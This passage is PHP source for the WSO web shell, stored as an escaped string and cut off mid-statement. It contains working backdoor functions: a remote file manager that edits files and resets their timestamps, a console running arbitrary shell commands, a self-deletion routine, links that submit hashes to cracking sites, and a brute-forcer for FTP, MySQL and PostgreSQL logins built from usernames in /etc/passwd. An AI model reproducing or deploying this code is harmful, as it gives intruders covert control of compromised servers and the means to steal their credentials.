onclick='g(\\\"FilesMan\\\",null,\\\"s_name_\".(\$sort[1]?0:1).\"\\\")'>Name</a></th><th><a href='#' onclick='g(\\\"FilesMan\\\",null,\\\"s_size_\".(\$sort[1]?0:1).\"\\\")'>Size</a></th><th><a href='#' onclick='g(\\\"FilesMan\\\",null,\\\"s_modify_\".(\$sort[1]?0:1).\"\\\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\\\"FilesMan\\\",null,\\\"s_perms_\".(\$sort[1]?0:1).\"\\\")'>Permissions</a></th><th>Actions</th></tr>\";\n\r\t\$dirs = \$files = array();\n\r\t\$n = count(\$dirContent);\n\r\tfor(\$i=0;\$i<\$n;\$i++) {\n\r\t\t\$ow = @posix_getpwuid(@fileowner(\$dirContent[\$i]));\n\r\t\t\$gr = @posix_getgrgid(@filegroup(\$dirContent[\$i]));\n\r\t\t\$tmp = array('name' => \$dirContent[\$i],\n\r\t\t\t\t\t 'path' => \$GLOBALS['cwd'].\$dirContent[\$i],\n\r\t\t\t\t\t 'modify' => date('Y-m-d H:i:s', @filemtime(\$GLOBALS['cwd'] . \$dirContent[\$i])),\n\r\t\t\t\t\t 'perms' => wsoPermsColor(\$GLOBALS['cwd'] . \$dirContent[\$i]),\n\r\t\t\t\t\t 'size' => @filesize(\$GLOBALS['cwd'].\$dirContent[\$i]),\n\r\t\t\t\t\t 'owner' => \$ow['name']?\$ow['name']:@fileowner(\$dirContent[\$i]),\n\r\t\t\t\t\t 'group' => \$gr['name']?\$gr['name']:@filegroup(\$dirContent[\$i])\n\r\t\t\t\t\t);\n\r\t\tif(@is_file(\$GLOBALS['cwd'] . \$dirContent[\$i]))\n\r\t\t\t\$files[] = array_merge(\$tmp, array('type' => 'file'));\n\r\t\telseif(@is_link(\$GLOBALS['cwd'] . \$dirContent[\$i]))\n\r\t\t\t\$dirs[] = array_merge(\$tmp, array('type' => 'link', 'link' => readlink(\$tmp['path'])));\n\r\t\telseif(@is_dir(\$GLOBALS['cwd'] . \$dirContent[\$i]))\n\r\t\t\t\$dirs[] = array_merge(\$tmp, array('type' => 'dir'));\n\r\t}\n\r\t\$GLOBALS['sort'] = \$sort;\n\r\tfunction wsoCmp(\$a, \$b) {\n\r\t\tif(\$GLOBALS['sort'][0] != 'size')\n\r\t\t\treturn strcmp(strtolower(\$a[\$GLOBALS['sort'][0]]), strtolower(\$b[\$GLOBALS['sort'][0]]))*(\$GLOBALS['sort'][1]?1:-1);\n\r\t\telse\n\r\t\t\treturn ((\$a['size'] < \$b['size']) ? -1 : 1)*(\$GLOBALS['sort'][1]?1:-1);\n\r\t}\n\r\tusort(\$files, \"wsoCmp\");\n\r\tusort(\$dirs, \"wsoCmp\");\n\r\t\$files = array_merge(\$dirs, \$files);\n\r\t\$l = 0;\n\r\tforeach(\$files as \$f) {\n\r\t\techo '<tr'.(\$l?' class=l1':'').'><td><input type=checkbox name=\"f[]\" value=\"'.urlencode(\$f['name']).'\" class=chkbx></td><td><a href=# onclick=\"'.((\$f['type']=='file')?'g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'view\\')\">'.htmlspecialchars(\$f['name']):'g(\\'FilesMan\\',\\''.\$f['path'].'\\');\" ' . (empty (\$f['link']) ? '' : \"title='{\$f['link']}'\") . '><b>[ ' . htmlspecialchars(\$f['name']) . ' ]</b>').'</a></td><td>'.((\$f['type']=='file')?wsoViewSize(\$f['size']):\$f['type']).'</td><td>'.\$f['modify'].'</td><td>'.\$f['owner'].'/'.\$f['group'].'</td><td><a href=# onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\',\\'chmod\\')\">'.\$f['perms']\n\r\t\t\t.'</td><td><a href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'rename\\')\">R</a> <a href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'touch\\')\">T</a>'.((\$f['type']=='file')?' <a href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'edit\\')\">E</a> <a href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode(\$f['name']).'\\', \\'download\\')\">D</a>':'').'</td></tr>';\n\r\t\t\$l = \$l?0:1;\n\r\t}\n\r\techo \"<tr><td colspan=7>\n\r\t<input type=hidden name=a value='FilesMan'>\n\r\t<input type=hidden name=c value='\" . htmlspecialchars(\$GLOBALS['cwd']) .\"'>\n\r\t<input type=hidden name=charset value='\". (isset(\$_POST['charset'])?\$_POST['charset']:'').\"'>\n\r\t<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>\";\n\r if(class_exists('ZipArchive'))\n\r echo \"<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>\";\n\r echo \"<option value='tar'>Compress (tar.gz)</option>\";\n\r if(!empty(\$_COOKIE['act']) && @count(\$_COOKIE['f']))\n\r echo \"<option value='paste'>Paste / Compress</option>\";\n\r echo \"</select> \";\n\r if(!empty(\$_COOKIE['act']) && @count(\$_COOKIE['f']) && ((\$_COOKIE['act'] == 'zip') || (\$_COOKIE['act'] == 'tar')))\n\r echo \"file name: <input type=text name=p2 value='wso_\" . date(\"Ymd_His\") . \".\" . (\$_COOKIE['act'] == 'zip'?'zip':'tar.gz') . \"'> \";\n\r echo \"<input type='submit' value='>>'></td></tr></form></table></div>\";\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionStringTools() {\n\r\tif(!function_exists('hex2bin')) {function hex2bin(\$p) {return decbin(hexdec(\$p));}}\n\r if(!function_exists('binhex')) {function binhex(\$p) {return dechex(bindec(\$p));}}\n\r\tif(!function_exists('hex2ascii')) {function hex2ascii(\$p){\$r='';for(\$i=0;\$i<strLen(\$p);\$i+=2){\$r.=chr(hexdec(\$p[\$i].\$p[\$i+1]));}return \$r;}}\n\r\tif(!function_exists('ascii2hex')) {function ascii2hex(\$p){\$r='';for(\$i=0;\$i<strlen(\$p);++\$i)\$r.= sprintf('%02X',ord(\$p[\$i]));return strtoupper(\$r);}}\n\r\tif(!function_exists('full_urlencode')) {function full_urlencode(\$p){\$r='';for(\$i=0;\$i<strlen(\$p);++\$i)\$r.= '%'.dechex(ord(\$p[\$i]));return strtoupper(\$r);}}\n\r\t\$stringTools = array(\n\r\t\t'Base64 encode' => 'base64_encode',\n\r\t\t'Base64 decode' => 'base64_decode',\n\r\t\t'Url encode' => 'urlencode',\n\r\t\t'Url decode' => 'urldecode',\n\r\t\t'Full urlencode' => 'full_urlencode',\n\r\t\t'md5 hash' => 'md5',\n\r\t\t'sha1 hash' => 'sha1',\n\r\t\t'crypt' => 'crypt',\n\r\t\t'CRC32' => 'crc32',\n\r\t\t'ASCII to HEX' => 'ascii2hex',\n\r\t\t'HEX to ASCII' => 'hex2ascii',\n\r\t\t'HEX to DEC' => 'hexdec',\n\r\t\t'HEX to BIN' => 'hex2bin',\n\r\t\t'DEC to HEX' => 'dechex',\n\r\t\t'DEC to BIN' => 'decbin',\n\r\t\t'BIN to HEX' => 'binhex',\n\r\t\t'BIN to DEC' => 'bindec',\n\r\t\t'String to lower case' => 'strtolower',\n\r\t\t'String to upper case' => 'strtoupper',\n\r\t\t'Htmlspecialchars' => 'htmlspecialchars',\n\r\t\t'String length' => 'strlen',\n\r\t);\n\r\tif(isset(\$_POST['ajax'])) {\n\r\t\tWSOsetcookie(md5(\$_SERVER['HTTP_HOST']).'ajax', true);\n\r\t\tob_start();\n\r\t\tif(in_array(\$_POST['p1'], \$stringTools))\n\r\t\t\techo \$_POST['p1'](\$_POST['p2']);\n\r\t\t\$temp = \"document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='\".addcslashes(htmlspecialchars(ob_get_clean()),\"\\n\\r\\t\\\\'\\0\").\"';\\n\";\n\r\t\techo strlen(\$temp), \"\\n\", \$temp;\n\r\t\texit;\n\r\t}\n\r if(empty(\$_POST['ajax'])&&!empty(\$_POST['p1']))\n\r\t\tWSOsetcookie(md5(\$_SERVER['HTTP_HOST']).'ajax', 0);\n\r\twsoHeader();\n\r\techo '<h1>String conversions</h1><div class=content>';\n\r\techo \"<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>\";\n\r\tforeach(\$stringTools as \$k => \$v)\n\r\t\techo \"<option value='\".htmlspecialchars(\$v).\"'>\".\$k.\"</option>\";\n\r\t\techo \"</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 > send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>\".(empty(\$_POST['p1'])?'':htmlspecialchars(@\$_POST['p2'])).\"</textarea></form><pre class='ml1' style='\".(empty(\$_POST['p1'])?'display:none;':'').\"margin-top:5px' id='strOutput'>\";\n\r\tif(!empty(\$_POST['p1'])) {\n\r\t\tif(in_array(\$_POST['p1'], \$stringTools))echo htmlspecialchars(\$_POST['p1'](\$_POST['p2']));\n\r\t}\n\r\techo\"</pre></div><br><h1>Search files:</h1><div class=content>\n\r\t\t<form onsubmit=\\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\\"><table cellpadding='1' cellspacing='0' width='50%'>\n\r\t\t\t<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\n\r\t\t\t<tr><td>Path:</td><td><input type='text' name='cwd' value='\". htmlspecialchars(\$GLOBALS['cwd']) .\"' style='width:100%'></td></tr>\n\r\t\t\t<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\n\r\t\t\t<tr><td></td><td><input type='submit' value='>>'></td></tr>\n\r\t\t\t</table></form>\";\n\r\n\r\tfunction wsoRecursiveGlob(\$path) {\n\r\t\tif(substr(\$path, -1) != '/')\n\r\t\t\t\$path.='/';\n\r\t\t\$paths = @array_unique(@array_merge(@glob(\$path.\$_POST['p3']), @glob(\$path.'*', GLOB_ONLYDIR)));\n\r\t\tif(is_array(\$paths)&&@count(\$paths)) {\n\r\t\t\tforeach(\$paths as \$item) {\n\r\t\t\t\tif(@is_dir(\$item)){\n\r\t\t\t\t\tif(\$path!=\$item)\n\r\t\t\t\t\t\twsoRecursiveGlob(\$item);\n\r\t\t\t\t} else {\n\r\t\t\t\t\tif(empty(\$_POST['p2']) || @strpos(file_get_contents(\$item), \$_POST['p2'])!==false)\n\r\t\t\t\t\t\techo \"<a href='#' onclick='g(\\\"FilesTools\\\",null,\\\"\".urlencode(\$item).\"\\\", \\\"view\\\",\\\"\\\")'>\".htmlspecialchars(\$item).\"</a><br>\";\n\r\t\t\t\t}\n\r\t\t\t}\n\r\t\t}\n\r\t}\n\r\tif(@\$_POST['p3'])\n\r\t\twsoRecursiveGlob(\$_POST['c']);\n\r\techo \"</div><br><h1>Search for hash:</h1><div class=content>\n\r\t\t<form method='post' target='_blank' name='hf'>\n\r\t\t\t<input type='text' name='hash' style='width:200px;'><br>\n\r <input type='hidden' name='act' value='find'/>\n\r\t\t\t<input type='button' value='hashcracking.ru' onclick=\\\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\\\"><br>\n\r\t\t\t<input type='button' value='md5.rednoize.com' onclick=\\\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\\\"><br>\n\r <input type='button' value='crackfor.me' onclick=\\\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\\\"><br>\n\r\t\t</form></div>\";\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionFilesTools() {\n\r\tif( isset(\$_POST['p1']) )\n\r\t\t\$_POST['p1'] = urldecode(\$_POST['p1']);\n\r\tif(@\$_POST['p2']=='download') {\n\r\t\tif(@is_file(\$_POST['p1']) && @is_readable(\$_POST['p1'])) {\n\r\t\t\tob_start(\"ob_gzhandler\", 4096);\n\r\t\t\theader(\"Content-Disposition: attachment; filename=\".basename(\$_POST['p1']));\n\r\t\t\tif (function_exists(\"mime_content_type\")) {\n\r\t\t\t\t\$type = @mime_content_type(\$_POST['p1']);\n\r\t\t\t\theader(\"Content-Type: \" . \$type);\n\r\t\t\t} else\n\r header(\"Content-Type: application/octet-stream\");\n\r\t\t\t\$fp = @fopen(\$_POST['p1'], \"r\");\n\r\t\t\tif(\$fp) {\n\r\t\t\t\twhile(!@feof(\$fp))\n\r\t\t\t\t\techo @fread(\$fp, 1024);\n\r\t\t\t\tfclose(\$fp);\n\r\t\t\t}\n\r\t\t}exit;\n\r\t}\n\r\tif( @\$_POST['p2'] == 'mkfile' ) {\n\r\t\tif(!file_exists(\$_POST['p1'])) {\n\r\t\t\t\$fp = @fopen(\$_POST['p1'], 'w');\n\r\t\t\tif(\$fp) {\n\r\t\t\t\t\$_POST['p2'] = \"edit\";\n\r\t\t\t\tfclose(\$fp);\n\r\t\t\t}\n\r\t\t}\n\r\t}\n\r\twsoHeader();\n\r\techo '<h1>File tools</h1><div class=content>';\n\r\tif( !file_exists(@\$_POST['p1']) ) {\n\r\t\techo 'File not exists';\n\r\t\twsoFooter();\n\r\t\treturn;\n\r\t}\n\r\t\$uid = @posix_getpwuid(@fileowner(\$_POST['p1']));\n\r\tif(!\$uid) {\n\r\t\t\$uid['name'] = @fileowner(\$_POST['p1']);\n\r\t\t\$gid['name'] = @filegroup(\$_POST['p1']);\n\r\t} else \$gid = @posix_getgrgid(@filegroup(\$_POST['p1']));\n\r\techo '<span>Name:</span> '.htmlspecialchars(@basename(\$_POST['p1'])).' <span>Size:</span> '.(is_file(\$_POST['p1'])?wsoViewSize(filesize(\$_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor(\$_POST['p1']).' <span>Owner/Group:</span> '.\$uid['name'].'/'.\$gid['name'].'<br>';\n\r\techo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime(\$_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime(\$_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime(\$_POST['p1'])).'<br><br>';\n\r\tif( empty(\$_POST['p2']) )\n\r\t\t\$_POST['p2'] = 'view';\n\r\tif( is_file(\$_POST['p1']) )\n\r\t\t\$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');\n\r\telse\n\r\t\t\$m = array('Chmod', 'Rename', 'Touch');\n\r\tforeach(\$m as \$v)\n\r\t\techo '<a href=# onclick=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',\\''.strtolower(\$v).'\\')\">'.((strtolower(\$v)==@\$_POST['p2'])?'<b>[ '.\$v.' ]</b>':\$v).'</a> ';\n\r\techo '<br><br>';\n\r\tswitch(\$_POST['p2']) {\n\r\t\tcase 'view':\n\r\t\t\techo '<pre class=ml1>';\n\r\t\t\t\$fp = @fopen(\$_POST['p1'], 'r');\n\r\t\t\tif(\$fp) {\n\r\t\t\t\twhile( !@feof(\$fp) )\n\r\t\t\t\t\techo htmlspecialchars(@fread(\$fp, 1024));\n\r\t\t\t\t@fclose(\$fp);\n\r\t\t\t}\n\r\t\t\techo '</pre>';\n\r\t\t\tbreak;\n\r\t\tcase 'highlight':\n\r\t\t\tif( @is_readable(\$_POST['p1']) ) {\n\r\t\t\t\techo '<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">';\n\r\t\t\t\t\$code = @highlight_file(\$_POST['p1'],true);\n\r\t\t\t\techo str_replace(array('<span ','</span>'), array('<font ','</font>'),\$code).'</div>';\n\r\t\t\t}\n\r\t\t\tbreak;\n\r\t\tcase 'chmod':\n\r\t\t\tif( !empty(\$_POST['p3']) ) {\n\r\t\t\t\t\$perms = 0;\n\r\t\t\t\tfor(\$i=strlen(\$_POST['p3'])-1;\$i>=0;--\$i)\n\r\t\t\t\t\t\$perms += (int)\$_POST['p3'][\$i]*pow(8, (strlen(\$_POST['p3'])-\$i-1));\n\r\t\t\t\tif(!@chmod(\$_POST['p1'], \$perms))\n\r\t\t\t\t\techo 'Can\\'t set permissions!<br><script>document.mf.p3.value=\"\";</script>';\n\r\t\t\t}\n\r\t\t\tclearstatcache();\n\r\t\t\techo '<script>p3_=\"\";</script><form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,this.chmod.value);return false;\"><input type=text name=chmod value=\"'.substr(sprintf('%o', fileperms(\$_POST['p1'])),-4).'\"><input type=submit value=\">>\"></form>';\n\r\t\t\tbreak;\n\r\t\tcase 'edit':\n\r\t\t\tif( !is_writable(\$_POST['p1'])) {\n\r\t\t\t\techo 'File isn\\'t writeable';\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\tif( !empty(\$_POST['p3']) ) {\n\r\t\t\t\t\$time = @filemtime(\$_POST['p1']);\n\r\t\t\t\t\$_POST['p3'] = substr(\$_POST['p3'],1);\n\r\t\t\t\t\$fp = @fopen(\$_POST['p1'],\"w\");\n\r\t\t\t\tif(\$fp) {\n\r\t\t\t\t\t@fwrite(\$fp,\$_POST['p3']);\n\r\t\t\t\t\t@fclose(\$fp);\n\r\t\t\t\t\techo 'Saved!<br><script>p3_=\"\";</script>';\n\r\t\t\t\t\t@touch(\$_POST['p1'],\$time,\$time);\n\r\t\t\t\t}\n\r\t\t\t}\n\r\t\t\techo '<form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,\\'1\\'+this.text.value);return false;\"><textarea name=text class=bigarea>';\n\r\t\t\t\$fp = @fopen(\$_POST['p1'], 'r');\n\r\t\t\tif(\$fp) {\n\r\t\t\t\twhile( !@feof(\$fp) )\n\r\t\t\t\t\techo htmlspecialchars(@fread(\$fp, 1024));\n\r\t\t\t\t@fclose(\$fp);\n\r\t\t\t}\n\r\t\t\techo '</textarea><input type=submit value=\">>\"></form>';\n\r\t\t\tbreak;\n\r\t\tcase 'hexdump':\n\r\t\t\t\$c = @file_get_contents(\$_POST['p1']);\n\r\t\t\t\$n = 0;\n\r\t\t\t\$h = array('00000000<br>','','');\n\r\t\t\t\$len = strlen(\$c);\n\r\t\t\tfor (\$i=0; \$i<\$len; ++\$i) {\n\r\t\t\t\t\$h[1] .= sprintf('%02X',ord(\$c[\$i])).' ';\n\r\t\t\t\tswitch ( ord(\$c[\$i]) ) {\n\r\t\t\t\t\tcase 0: \$h[2] .= ' '; break;\n\r\t\t\t\t\tcase 9: \$h[2] .= ' '; break;\n\r\t\t\t\t\tcase 10: \$h[2] .= ' '; break;\n\r\t\t\t\t\tcase 13: \$h[2] .= ' '; break;\n\r\t\t\t\t\tdefault: \$h[2] .= \$c[\$i]; break;\n\r\t\t\t\t}\n\r\t\t\t\t\$n++;\n\r\t\t\t\tif (\$n == 32) {\n\r\t\t\t\t\t\$n = 0;\n\r\t\t\t\t\tif (\$i+1 < \$len) {\$h[0] .= sprintf('%08X',\$i+1).'<br>';}\n\r\t\t\t\t\t\$h[1] .= '<br>';\n\r\t\t\t\t\t\$h[2] .= \"\\n\";\n\r\t\t\t\t}\n\r\t\t \t}\n\r\t\t\techo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style=\"font-weight: normal;\"><pre>'.\$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.\$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars(\$h[2]).'</pre></td></tr></table>';\n\r\t\t\tbreak;\n\r\t\tcase 'rename':\n\r\t\t\tif( !empty(\$_POST['p3']) ) {\n\r\t\t\t\tif(!@rename(\$_POST['p1'], \$_POST['p3']))\n\r\t\t\t\t\techo 'Can\\'t rename!<br>';\n\r\t\t\t\telse\n\r\t\t\t\t\tdie('<script>g(null,null,\"'.urlencode(\$_POST['p3']).'\",null,\"\")</script>');\n\r\t\t\t}\n\r\t\t\techo '<form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,this.name.value);return false;\"><input type=text name=name value=\"'.htmlspecialchars(\$_POST['p1']).'\"><input type=submit value=\">>\"></form>';\n\r\t\t\tbreak;\n\r\t\tcase 'touch':\n\r\t\t\tif( !empty(\$_POST['p3']) ) {\n\r\t\t\t\t\$time = strtotime(\$_POST['p3']);\n\r\t\t\t\tif(\$time) {\n\r\t\t\t\t\tif(!touch(\$_POST['p1'],\$time,\$time))\n\r\t\t\t\t\t\techo 'Fail!';\n\r\t\t\t\t\telse\n\r\t\t\t\t\t\techo 'Touched!';\n\r\t\t\t\t} else echo 'Bad time format!';\n\r\t\t\t}\n\r\t\t\tclearstatcache();\n\r\t\t\techo '<script>p3_=\"\";</script><form onsubmit=\"g(null,null,\\'' . urlencode(\$_POST['p1']) . '\\',null,this.touch.value);return false;\"><input type=text name=touch value=\"'.date(\"Y-m-d H:i:s\", @filemtime(\$_POST['p1'])).'\"><input type=submit value=\">>\"></form>';\n\r\t\t\tbreak;\n\r\t}\n\r\techo '</div>';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionConsole() {\n\r if(!empty(\$_POST['p1']) && !empty(\$_POST['p2'])) {\n\r WSOsetcookie(md5(\$_SERVER['HTTP_HOST']).'stderr_to_out', true);\n\r \$_POST['p1'] .= ' 2>&1';\n\r } elseif(!empty(\$_POST['p1']))\n\r WSOsetcookie(md5(\$_SERVER['HTTP_HOST']).'stderr_to_out', 0);\n\r\n\r\tif(isset(\$_POST['ajax'])) {\n\r\t\tWSOsetcookie(md5(\$_SERVER['HTTP_HOST']).'ajax', true);\n\r\t\tob_start();\n\r\t\techo \"d.cf.cmd.value='';\\n\";\n\r\t\t\$temp = @iconv(\$_POST['charset'], 'UTF-8', addcslashes(\"\\n\$ \".\$_POST['p1'].\"\\n\".wsoEx(\$_POST['p1']),\"\\n\\r\\t\\\\'\\0\"));\n\r\t\tif(preg_match(\"!.*cd\\s+([^;]+)\$!\",\$_POST['p1'],\$match))\t{\n\r\t\t\tif(@chdir(\$match[1])) {\n\r\t\t\t\t\$GLOBALS['cwd'] = @getcwd();\n\r\t\t\t\techo \"c_='\".\$GLOBALS['cwd'].\"';\";\n\r\t\t\t}\n\r\t\t}\n\r\t\techo \"d.cf.output.value+='\".\$temp.\"';\";\n\r\t\techo \"d.cf.output.scrollTop = d.cf.output.scrollHeight;\";\n\r\t\t\$temp = ob_get_clean();\n\r\t\techo strlen(\$temp), \"\\n\", \$temp;\n\r\t\texit;\n\r\t}\n\r if(empty(\$_POST['ajax'])&&!empty(\$_POST['p1']))\n\r\t\tWSOsetcookie(md5(\$_SERVER['HTTP_HOST']).'ajax', 0);\n\r\twsoHeader();\n\r echo \"<script>\n\rif(window.Event) window.captureEvents(Event.KEYDOWN);\n\rvar cmds = new Array('');\n\rvar cur = 0;\n\rfunction kp(e) {\n\r\tvar n = (window.Event) ? e.which : e.keyCode;\n\r\tif(n == 38) {\n\r\t\tcur--;\n\r\t\tif(cur>=0)\n\r\t\t\tdocument.cf.cmd.value = cmds[cur];\n\r\t\telse\n\r\t\t\tcur++;\n\r\t} else if(n == 40) {\n\r\t\tcur++;\n\r\t\tif(cur < cmds.length)\n\r\t\t\tdocument.cf.cmd.value = cmds[cur];\n\r\t\telse\n\r\t\t\tcur--;\n\r\t}\n\r}\n\rfunction add(cmd) {\n\r\tcmds.pop();\n\r\tcmds.push(cmd);\n\r\tcmds.push('');\n\r\tcur = cmds.length-1;\n\r}\n\r</script>\";\n\r\techo '<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value==\\'clear\\'){d.cf.output.value=\\'\\';d.cf.cmd.value=\\'\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\'\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\'\\');} return false;\"><select name=alias>';\n\r\tforeach(\$GLOBALS['aliases'] as \$n => \$v) {\n\r\t\tif(\$v == '') {\n\r\t\t\techo '<optgroup label=\"-'.htmlspecialchars(\$n).'-\"></optgroup>';\n\r\t\t\tcontinue;\n\r\t\t}\n\r\t\techo '<option value=\"'.htmlspecialchars(\$v).'\">'.\$n.'</option>';\n\r\t}\n\r\t\n\r\techo '</select><input type=button onclick=\"add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\'\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\'\\');}\" value=\">>\"> <nobr><input type=checkbox name=ajax value=1 > send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty(\$_POST['p2'])||\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style=\"border-bottom:0;margin:0;\" readonly>';\n\r\tif(!empty(\$_POST['p1'])) {\n\r\t\techo htmlspecialchars(\"\$ \".\$_POST['p1'].\"\\n\".wsoEx(\$_POST['p1']));\n\r\t}\n\r\techo '</textarea><table style=\"border:1px solid #df5;background-color:#555;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td width=\"1%\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>';\n\r\techo '</form></div><script>d.cf.cmd.focus();</script>';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionLogout() {\n\r setcookie(md5(\$_SERVER['HTTP_HOST']), '', time() - 3600);\n\r\tdie('bye!');\n\r}\n\r\n\rfunction actionSelfRemove() {\n\r\n\r\tif(\$_POST['p1'] == 'yes')\n\r\t\tif(@unlink(preg_replace('!\\(\\d+\\)\\s.*!', '', __FILE__)))\n\r\t\t\tdie('Shell has been removed');\n\r\t\telse\n\r\t\t\techo 'unlink error!';\n\r if(\$_POST['p1'] != 'yes')\n\r wsoHeader();\n\r\techo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,\\'yes\\')\">Yes</a></div>';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionBruteforce() {\n\r\twsoHeader();\n\r\tif( isset(\$_POST['proto']) ) {\n\r\t\techo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars(\$_POST['proto']).' <span>Server:</span> '.htmlspecialchars(\$_POST['server']).'<br>';\n\r\t\tif( \$_POST['proto'] == 'ftp' ) {\n\r\t\t\tfunction wsoBruteForce(\$ip,\$port,\$login,\$pass) {\n\r\t\t\t\t\$fp = @ftp_connect(\$ip, \$port?\$port:21);\n\r\t\t\t\tif(!\$fp) return false;\n\r\t\t\t\t\$res = @ftp_login(\$fp, \$login, \$pass);\n\r\t\t\t\t@ftp_close(\$fp);\n\r\t\t\t\treturn \$res;\n\r\t\t\t}\n\r\t\t} elseif( \$_POST['proto'] == 'mysql' ) {\n\r\t\t\tfunction wsoBruteForce(\$ip,\$port,\$login,\$pass) {\n\r\t\t\t\t\$res = @mysql_connect(\$ip.':'.(\$port?\$port:3306), \$login, \$pass);\n\r\t\t\t\t@mysql_close(\$res);\n\r\t\t\t\treturn \$res;\n\r\t\t\t}\n\r\t\t} elseif( \$_POST['proto'] == 'pgsql' ) {\n\r\t\t\tfunction wsoBruteForce(\$ip,\$port,\$login,\$pass) {\n\r\t\t\t\t\$str = \"host='\".\$ip.\"' port='\".\$port.\"' user='\".\$login.\"' password='\".\$pass.\"' dbname=postgres\";\n\r\t\t\t\t\$res = @pg_connect(\$str);\n\r\t\t\t\t@pg_close(\$res);\n\r\t\t\t\treturn \$res;\n\r\t\t\t}\n\r\t\t}\n\r\t\t\$success = 0;\n\r\t\t\$attempts = 0;\n\r\t\t\$server = explode(\":\", \$_POST['server']);\n\r\t\tif(\$_POST['type'] == 1) {\n\r\t\t\t\$temp = @file('/etc/passwd');\n\r\t\t\tif( is_array(\$temp) )\n\r\t\t\t\tforeach(\$temp as \$line) {\n\r\t\t\t\t\t\$line = explode(\":\", \$line);\n\r\t\t\t\t\t++\$attempts;\n\r\t\t\t\t\tif( wsoBruteForce(@\$server[0],@\$server[1], \$line[0], \$line[0]) ) {\n\r\t\t\t\t\t\t\$success++;\n\r\t\t\t\t\t\techo '<b>'.htmlspecialchars(\$line[0]).'</b>:'.htmlspecialchars(\$line[0]).'<br>';\n\r\t\t\t\t\t}\n\r\t\t\t\t\tif(@\$_POST['reverse']) {\n\r\t\t\t\t\t\t\$tmp = \"\";\n\r\t\t\t\t\t\tfor(\$i=strlen(\$line[0])-1; \$i>=0; --\$i)\n\r\t\t\t\t\t\t\t\$tmp .= \$line[0][\$i];\n\r\t\t\t\t\t\t++\$attempts;\n\r\t\t\t\t\t\tif( wsoBruteForce(@\$server[0],@\$server[1], \$line[0], \$tmp) ) {\n\r\t\t\t\t\t\t\t\$success++;\n\r\t\t\t\t\t\t\techo '<b>'.htmlspecialchars(\$line[0]).'</b>:'.htmlspecialchars(\$tmp);\n\r\t\t\t\t\t\t}\n\r\t\t\t\t\t}\n\r\t\t\t\t}\n\r\t\t} elseif(\$_POST['type'] == 2) {\n\r\t\t\t\$temp = @file(\$_POST['dict']);\n\r\t\t\tif( is_array(\$temp) )\n\r\t\t\t\tforeach(\$temp as \$line) {\n\r\t\t\t\t\t\$line = trim(\$line);\n\r\t\t\t\t\t++\$attempts;\n\r\t\t\t\t\tif( wsoBruteForce(\$server[0],@\$server[1], \$_POST['login'], \$line) ) {\n\r\t\t\t\t\t\t\$success++;\n\r\t\t\t\t\t\techo '<b>'.htmlspecialchars(\$_POST['login']).'</b>:'.htmlspecialchars(\$line).'<br>';\n\r\t\t\t\t\t}\n\r\t\t\t\t}\n\r\t\t}\n\r\t\techo \"<span>Attempts:</span> \$attempts <span>Success:</span> \$success</div><br>\";\n\r\t}\n\r\techo 